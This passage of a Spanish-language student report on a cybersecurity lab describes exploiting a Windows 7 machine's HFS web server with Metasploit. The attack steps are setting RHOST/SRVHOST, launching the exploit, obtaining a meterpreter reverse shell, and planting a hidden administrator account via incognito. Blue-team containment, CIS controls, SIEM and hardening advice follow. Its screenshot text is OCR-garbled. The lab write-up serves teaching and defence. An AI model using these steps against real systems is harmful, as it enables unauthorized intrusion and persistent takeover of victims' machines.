2- Eltipo de sistema operativo en este caso Windows.

3- Finalmente indica que es posible conseguir una Shell reversa y una sesion
de meterpreter.

con toda esta informacion y un poco de busqueda en Google y las herramientas
disponibles en Kali es posible obtener el contexto correcto de la situacion y seguir
con los testing.
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HERRAMIENTA UTILIZADA PARA PODER IDENTIFICAR LOS FALLOS DE
SEGURIDAD DE LA “MAQUINA WINDOWS 7”

Las herramientas utilizadas para identificar los fallos de seguridad fueron

v' Google (Permite encontrar si alguien mas ya exploto la vulnerabilidad y si se
encuentra en una base de datos como exploit db)

v' Exploit db (Me indica que es posible la ejecucion de comandos remotos con
Metasploit)

v" Nmap (Me permite saber que puertos se encuentran corriendo y que
aplicaciones)

v' Metasploit search (Me permite buscar los exploits disponibles para
aprovechar la vulnerabilidad)

¢ QUE PUERTO ABRE LA APLICACION ESPECIFICA EN EL ANEXO?

El puerto que abre la aplicacion del anexo es el 80 el cual es identificado también
por Nmap.

COMO AFECTA EL ATAQUE A LA MAQUINA (WINDOWS 7 X64), HAGA USO DE
GRAFICOS PARA EXPLICAR EL ATAQUE.

Lo que entiendo que ocurre es que principalmente Kali no inicia de primero la
conexion con el equipo que vamos atacar, es el equipo de la victima quien recibe la
orden y se conecta al equipo del atacante por lo que el firewall del sistema operativo
no lo detecta y es posible hacer la conexion, cuando esta conexién se crea ya
tenemos a nuestra disposicion una Shell que puede ejecutar comando de manera
remota. A continuacion, se explica el procedimiento con un gréfico.

Figura 17. Gréfico Con El Proceso Del Ataque
El equipo atacante le indica al
equipo de la victima que inicie
la sesion

Firewall

Equipo Atacante Equipo Victima

El equipo de la victima se

) . conecta al servidor del equipo
Aplicacion del atacante
escuchando en

puerlo Al hacer esto el firewall no

genera problemas al establecer
la conexion

Mayerly Rocio Enriquez Lopez.
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PASOS Y EVIDENCIAS DE LA ACTIVIDAD DESARROLLADA PARA EXPLOTAR
LA VULNERABILIDAD EN LA MAQUINA WINDOWS 7.

A continuacion, vamos a explotar la vulnerabilidad para eso iniciamos Metasploit
framework con msfconsole —q y cargamos el exploit que vimos en pasos anteriores,
el exploit nos carga por defecto el payload.

Figura 18. Cara De ExI0|t
msfé > it/wi
meterpreter/reverse _tcp

msté exploit( / s j > I

Mayerly Rocio Enriquez Lopez.

Ahora vamos a configurar la IP de la maquina del atacante y la IP de la maquina de
la victima para ello utilizamos el comando SET.

Figura 19. Configuracion De lIps

=
LA
—+
[s3]

o T |len o0 |en

S ) > set RHOST 192.168.1.76
192.168.1.76
exploit( ) > set SRVHOST 192.168.1.77
0ST = 192.168.1.77
exploit(

=5 2
I
e |=h O
[+ I ]

(¥4
)

=
LA
o

Mayerly Rocio Enriquez Lépez.

Luego que tenemos todo configurado escribimos el comando exploit el cual explota
la vulnerabilidad, esto nos genera una Shell Reversa y una sesion del meterpreter,
ahora estamos en el equipo de la victima.

Figura 20. Shell Reversa Y Sesién De Meterpreter

msf6 exploit(

ploits/windows/http/rejetto_hfs_exe

ploits/windows/http/rejetto_hfs_exe

.76:49165) at
dIPbfvdF.vbs, unknown result
Mayerly ROCIO Enrlquez Lopez.
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Creando el usuario administrador en el equipo de la victima, para ello primero que
todo vamos a utilizar la aplicacion incognito la cual nos permite crear usuarios y
agregarles grupos de seguridad, con el comando add_user “usuario” “password” lo
podemos crear'®

F|ura 21 Creacion De Usuarlo Administrador
> add_user "MayerlyEnriguez" "141L444"
[-] Warning: Mot currently running as SYSTEM, not all tokens will be availabl
e
Call rev2self if primary process tokem is SYSTEM

[*] empting t 4dd user H4\¢:1xEn11que: to host 127.8.8.1

Mayerly ROCIO Enriquez Lopez.

En la siguiente imagen procedemos a asignarle el grupo de administradores al
usuario.

Figura 22. Asignacion De Permisos De Administrador

r » list_tokens -g
g: Not currently running as SYSTEM, not all tokens will be availabl

Call rev2self if primary process token 1s SYSTEM

Delegation Tokens Available

S“INICIO DE SESION EN LA CONSOLA
“Todos

BUILTINYAdministradores

AUTHORIT
AUTHORIT
AUTHORIT
AUTHORIT

Mayerly R00|o Enrlquez Lopez

Para lograr asignarle al usuario el grupo de administrador utilizamos el comando
add_localgroup_user “Administradores” “Mayerly Enriquez” como vemos a
continuacion

19 (agnaexto, s.f.)
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Figura 23. Asignacion Del Grupo De Administrador
met add_localgroup_user "Administradores™ "Ma lyEnriquez”
[-] warning: Mot currently running as SYSTEM, not all tokens will be availabl

Call rev2self if primary process token is SYSTEM

5
to localgroup Administradores on h

Ahora si entramos en el PC de la victima por la interfaz de Windows vemos que el
usuario se cre0 y es un administrador del sistema.

Figura 24. Usuarios Activos En Pc De La Victima
Elegir la cuenta que desee cambiar

MayerlyEnriquez
Adrninistrador
Protegida por contrasefia

usuario
Administrador

Invitado
La cuenta de invitado estd desactivada

Crear una nueva cuenta

:Qué es una cuenta de usuario?

Acciones adicionales que se pueden realizar
'E‘:;' Configurar Control parental

Ir a la pagina principal de Cuentas de usuario

Mayerly Rocio Enriquez Lépez.

1.4SITUACION PROBLEMA: ANALISIS BLUE TEAM

WhiteHouse Security solicita a sus integrantes de Blueteam contener y sacar
adelante un ataque informatico el cual se esta produciendo en tiempo real. La
maquina que se debe analizar es la Windows 7 X64 analizada en la actividad
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anterior. La organizacion requiere un analisis exhaustivo de lo que esta sucediendo
a nivel técnico “sistema operativo, red”, con la informacion recolectada se espera
gue dentro de su grado de experticia usted como miembro de un equipo Blue team
logre contener el ataque para evitar que se genere mas dafo a nivel interno de la
organizacion. WhiteHose Security le informa que no existe presupuesto para hacer
uso de herramientas de pago, por ende, el experto en Ciberseguridad deber& optar
por una serie de herramientas minimo con licencia GPL.

Lo primero que indagaria si me encontrase en un ataque en tiempo real, son los
puertos que tengo abiertos en mi servidor, esto lo haria haciendo uso de la
herramienta llamada Nmap, la cual me permite hacer rastreo de los puertos por los
que posiblemente se efectud el ataque.

Después de tener identificados los puertos proceder a cerrarlos, luego iria a cambiar
las contrasefias de los usuarios del sistema atacado y verificaria si existen usuarios
creados que no correspondan a la compaiiia, para proceder a eliminarlos.

v' Las medidas de Hardenizacion que tomaria para evitar que este ataque vuelva
a ocurrir serian los siguientes:

v' Teniendo en cuenta que por donde entraron a ejecutar el ataque fue a través del
puerto 80, lo primero que haria es cerrar dicho puerto y demas puertos que estén
abiertos y que puedan usarse para proximos ataques.

v' Cambiar las contrasefas de acceso guardadas por defecto en nuestro sistema.

v'Identificar usuarios que no sean necesarios tener creados en nuestro sistemay
eliminarlos o bloquear acceso.

v" Identificar que Pcs no cuenta con firewall e instalarlos.

v’ Estableceria ciertos protocolos de seguridad que deben seguir los usuarios del
sistema o la red, por ejemplo, no instalar programas descargados de paginas de
dudosa reputacion, no usar dispositivos de almacenamiento USB sin antes ser
analizados por el antimalware, cambiar periédicamente sus claves de acceso,
entre otras.?°

DIFERENCIAS ENTRE UN EQUIPO BLUETEAM Y UN EQUIPO DE RESPUESTA
A INCIDENTES INFORMATICOS

v' Una de las principales diferencias entre blue team y CSIRT es que los
equipos blue team se enfocan principalmente en la evaluacion de la
seguridad de la informacion en los sistemas de informacion y los equipos

20 (CISET. Centro de Innovacion, 2020)
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CSIRT son quienes reciben y analizan las incidencias de seguridad
informatica y establecen las acciones de respuesta ante dichos eventos.

v Los equipos CSIRT ofrecen servicios mas completos, mientras los blue team
trabajan basados en la monitorizacion de los sistemas informaticos en busca
de posibles vulnerabilidades y asi establecer planes de mejora haciendo uso
de diversas herramientas, los CSIRT ademas de hacer lo antes mencionado
como la evaluacion, auditoria y evaluacion de la seguridad de los sistemas
informaticos de la organizacion, también proporciona desarrollo de
herramientas para la seguridad de la informacion.

v" Muchos de los analisis de vulnerabilidades que se hacen en los blue team,
provienen de los estudios realizados por los CSIRT, ya que ellos se encargan
de armar un centro de respuesta a incidentes de seguridad de tecnologias
de la informacién donde comparte la informacién para las auditorias.?*

COMO UTILIZAR CIS

Los controles CIS los utilizaria como metodologia de implementacion de buenas
practicas de seguridad informética, ya que este nos brinda las acciones que
debemos seguir en orden de prioridad es decir que nos marcan una ruta focalizada
en los problemas de seguridad informatica mas comunes en las empresas.

Es una muy buena fuente, ya que los controles CIS son elaborados con informacién
recolectada de diferentes sectores y con base a diversos incidentes de seguridad
que han ocurrido en todo el mundo, es una comunidad global que nos ayuda a
implementar dichos controles no solo de forma técnica si no que ya estan enfocados
al maco legal.??

FUNCIONES Y CARACTERISTICAS PRINCIPALES DE SIEM.

v Los sistemas SIEM, es una tecnologia que le permite monitorizar entiempo
real el comportamiento de los sistemas informaticos, detectando,
respondiendo y neutralizando amenazas informaticas.

v" Una de sus principales caracteristicas es que SIEM permite tener control total
de la seguridad informatica de la empresa, ya que tiene acceso a todos los

21 (UNIR La Universidad en Internet, 2020)
22 (CIS Center for Internet Security)
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eventos que ocurren dentro de la empresa lo que le permite actuar de forma
eficaz.

v" SIEM es una unién de dos tecnologias SEM y SIM, SEM se encarga de
centralizar la informacion y permite analizarla en tiempo real. Y SIM se
encargar del almacenamiento histérico de la informacién para luego
analizarlas.

v Al contar con almacenamiento de informaciéon de amenazas de seguridad no
solo permite controlar las mas conocidas si no también las mas dificiles de
detectar.??

Dentro de sus funciones estan las siguientes:

v' A través de su alta velocidad y la informacion histérica a la que tiene acceso
permite que la investigacion de alertas de seguridad se lleve de forma mas
eficiente.

v" Proporciona a los analistas de seguridad mayor visibilidad y capacidad de
deteccion en amenazas, brindandoles la metodologia y mejor modo de
actuar.

v" Monitoreo en tiempo real de las redes de la empresa

v" Recoge informacién de la actividad de los usuarios no solo en los sistemas
informaticos si no también en la red, lo que permite identificar posibles
brechas de seguridad y comportamientos maliciosos.?*

HERRAMIENTAS DE CONTENCION DE ATAQUES INFORMATICOS

v Agnitum Outpost Free: Teniendo en cuenta que los Firewall son unas de las
herramientas que mas nos son Utiles para la seguridad informética, tanto para
prevencién como contencion en un ataque, Agnitum Outpost Free es uno de
los mejores firewall del mercado y de los mas potentes, este nos permite
proteger y detectar las aplicaciones que estan tratando de compartir
informacion con el exterior, lo que nos permite controlar la actividad en
nuestra red, y evitar que programas maliciosos propaguen su ataque.?®

v' Malwarebytes : Otro Herramienta importante para la contencion de ataques
informaticos son los antimalware, ya que ademas de protegernos de posibles

23 (FIREEYE)
24 (SOFECOM, Servicios integrales en IT, s.f))
25 (Martin, 2011)
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ataques también permite remediar software malicioso en los dispositivos
informaticos de manera individual, uno de Ilos antimalware mas
recomendados es: Malwarebytes el cual nos ofrece excelente tecnologia
para la destruccion de malware, proteccion antivirus y eliminacion detallada
de malware y spyware.?®

v' Cyber Triage Lite, Es una herramienta de respuesta de incidentes, la cual
recopila informacion de nuestros sistemas y permite que el andlisis de dicha
informacion sea efectivo para la deteccion de intrusos, mostrando la
informacion en linea de tiempo y permite la generaciéon de informes en
HTML.?’

26 (Malwarebytes)
27 (Cyber Triage, s.f.)
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2. ASPECTOS QUE APORTEN AL DESARROLLO DE ESTRATEGIAS DE
REDTEAM & BLUETEAM.

Algunos aspectos que pueden aportar al desarrollo de las estrategias de los
equipos red team y blue team.

Teniendo en cuenta que estos dos equipos se complementan es de vital importancia
fomentar el trabajo en equipo, y que exista flujos de procesos de procesos
especificaos dentro de las estrategias, para que cuando por ejemplo el equipo de
Blue Team ejecute alguna barrera de seguridad estas se pongan a prueba por parte
del equipo Red Team.

Es importante mantener una buena comunicacion ya que si el equipo red team logra
identificar una vulnerabilidad este debe ser comunicado al equipo Blue team para
que establezca las actividades de bloqueo y respuesta ante esta nueva
vulnerabilidad, pero para hacer su trabajo es importante que entienda como se
exploto esta vulnerabilidad.

Un aspecto importante mantener bitacoras de que inconsistencias o ataques han
sufrido en los dltimos afios y poder analizar y avaluar sus estrategias y como pueden
mejorarse para que la respuesta a posibles ataques repetitivos se haga de una
forma mas eficiente. Con esto no solo nos permite evaluarnos si no que nos
permitird adaptar nuestras estrategias a las nuevas tecnologias de contencién de
ataques que el mercado vaya sacando.

Estar en constante busqueda de nuevas formas de ataque, contencion de los
mismos y herramientas que les permitira no solo estar al dia en sus conocimientos
si no a preservar la seguridad de la compafiia con mayor eficiencia.?®

28 (Crowdstrike, 2020)
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3. RECOMENDACIONES PARA EL PLANTEAMIENTO DE ESTRATEGIAS QUE
PERMITAN ENDURECER LOS ASPECTOS DE SEGURIDAD EN UNA
ORGANIZACION

Es recomendable cuando estamos trabajando en una estrategia de seguridad
informatica es que debemos tener en cuenta el factor humano tanto como en factor
tecnoldgico, ya que la mayoria de los ataques parten del mal uso de los sistemas y
los equipos tecnoldgicos, es por eso que dentro de la estrategia debe estar la
concientizacion y sensibilizacién de la seguridad informatica a los usuarios, Yy
establecer las actividades u operaciones que se puedan convertir en una
vulnerabilidad como por ejempilo:

1. Tener cuidad con los adjuntos del correo, que se aseguren que la fuente del
correo sea confiable antes de abrir o ejecutar un adjunto de un correo de un
origen desconocido.

2. Explicarles a los usuarios que existen redes de navegacion seguras y que
otras no son tan seguras y que por ejemplo si vamos hacer alguna
transaccion bancaria, se aseguren que en la URL diga https eso nos asegura
gue ese sitio donde voy a realizar mi transaccidn es confiable y seguro.

3. Normalmente los equipos de computo cuentan con un antivirus o
antimalware que nos permite hacer una deteccién temprana de posibles
intrusos, por eso se debe recomendar que cada vez que se haga uso de
dispositivos de almacenamiento extraibles estos sean escaneados por el
antivirus, ya que se ha convertido en uno de los medios de mayor
propagacion de virus.

A nivel software también se tienen algunas recomendaciones:

1. Instalar las actualizaciones de nuestros sistemas operativos, ya que los
desarrolladores del mismo, estan constantemente liberando parches de
seguridad del sistema.

2. Corroborar que los equipos de la compafiia cuenten con un buen antimalware
y firewall, y que estos estén actualizando su base de datos constantemente.?®

Otra recomendacion para endurecer las estrategias de seguridad en una
organizacién es que se debe estar en constante evaluacién, es por esto que se
recomienda el uso de los controles CIS (Center For Internet Security), que nos
brinda los pasos a seguir ante un ataque informatico, no solo los ataques conocidos
si no hasta los mas complejos, ya que al ser una comunidad a nivel mundial cuenta

29 (Diaz, 2018)
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con la base de datos de los ataques de todo el mundo. Una de las funcionalidades
mas importantes de CIS es que ya proporciona el marco legal y como proceder en
estos casos.*

Y por ultimo existen varias herramientas que nos permiten estar en constante
monitoreo de las redes, sistemas informaticos y aplicaciones con las que cuenta con
la organizacion una de las que les puedo recomendar es Cyber Triaje que nos brinda
un control en tiempo real y ademas nos permite llevar una bitacora de las incidencias
presentadas.3!

30 (CIS Center for Internet Security)
31 (Cyber Triage, s.f.)
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4. CONCLUSIONES QUE PERMITAN LA CONSTRUCCION DEL
CONOCIMIENTO DESDE EL ENFOQUE DE LA CIBERSEGURIDAD.

Como expertos en seguridad informatica debemos tener conocimiento tanto a nivel
técnico como a nivel legal, ya que van muy de la mano a la hora de establecer la
estrategia de seguridad que se va a implementar en la empresa, por eso es
importante estudiar la ley 1273 de 2009, donde nos dan a conocer que actividades
estan contempladas como delitos y como seran sancionados quienes incurran en
ellos.

Existen diversas herramientas que permiten hacer testing en nuestros sistemas
como, por ejemplo, es muy usado Kali Linux que es un sistema operativo que trae
incorporado una gran variedad de herramienta para Pentesting, lo que nos permitira
identificar vulnerabilidades y aplicar soluciones eficientes.

Otras herramientas muy valiosas son las de monitoreo de anomalias, lo que le
permite al equipo de seguridad informética de la empresa tener control e flujo de
informacion que se maneje a traves de la red, aplicaciones y sistemas informaticos.
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CONCLUSIONES

En Colombia existen normas tanto a nivel legal como ético, que nos da bases a la
hora de tomar decisiones y ademas nos establece que actividades estan
consideradas como delito y que consecuencias estas nos podrian acarrear.

Es muy importante que como profesionales tengamos en cuenta que cuando
llevemos a cabo nuestra labor profesional, esta por ningin motivo debe atentar
contra la integridad de un tercero y que estamos obligados a denunciar en el caso
de tener conocimiento de algun proceso ilegal. Siempre y cuando contemos con las
pruebas para esto.

Identificamos alguna de las diversas vulnerabilidades a las que estamos expuestos
en nuestros sistemas informéticos y que, si no tomamos las medidas de seguridad
necesarias, es muy facil para un atacante entrar a nuestros sistemas y robar nuestra
informacion, como en el caso estudiado, podriamos hasta perder control de nuestra
maquina y el atacante a través de esta puede acceder informacion por ejemplo de
toda una empresa.

También que Existen diversas formas de enfrentarnos a un ataque informatico y la
importancia que tienen el tener una ruta de contenciéon de los mismos.

Adquiri conocimiento con respecto a las diferentes tecnologias que podemos usar
para detectar, analizar y contraatacar los ataques informaticos de los que podamos
ser victimas, y que herramientas nos permitiran ejecutar el plan de contencion.
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RECOMENDACIONES

Como primera recomendacion para esta empresa es establecer un buen equipo
Red Team, que nos pueda ayudar con la deteccion y explotacién de
vulnerabilidades desde la perspectiva del atacante con el fin de que el equipo Pueda
tomar esta informacidon analizarla y establecer los procesos de contencion y
respuesta a los posibles ataques informéticos a los que estemos expuestos.

Recomiendo que se implementen los controles CIS (Center For Internet Security),
gue nos brinda los pasos a seguir ante un ataque informéatico, no solo los ataques
conocidos si no hasta los mas complejos, ya que al ser una comunidad a nivel
mundial cuenta con la base de datos de los ataques de todo el mundo. Una de las
funcionalidades mas importantes de CIS es que ya proporciona el marco legal y
como proceder en estos casos.

También es recomendable hacer uso de la herramienta SIEM, que nos permite tener
control se nuestros sistemas, redes y aplicaciones con el fin de monitorear en tiempo
real y poder almacenar histéricamente las incidencias que se van presentando en
el transcurso de la operacion de la empresa.
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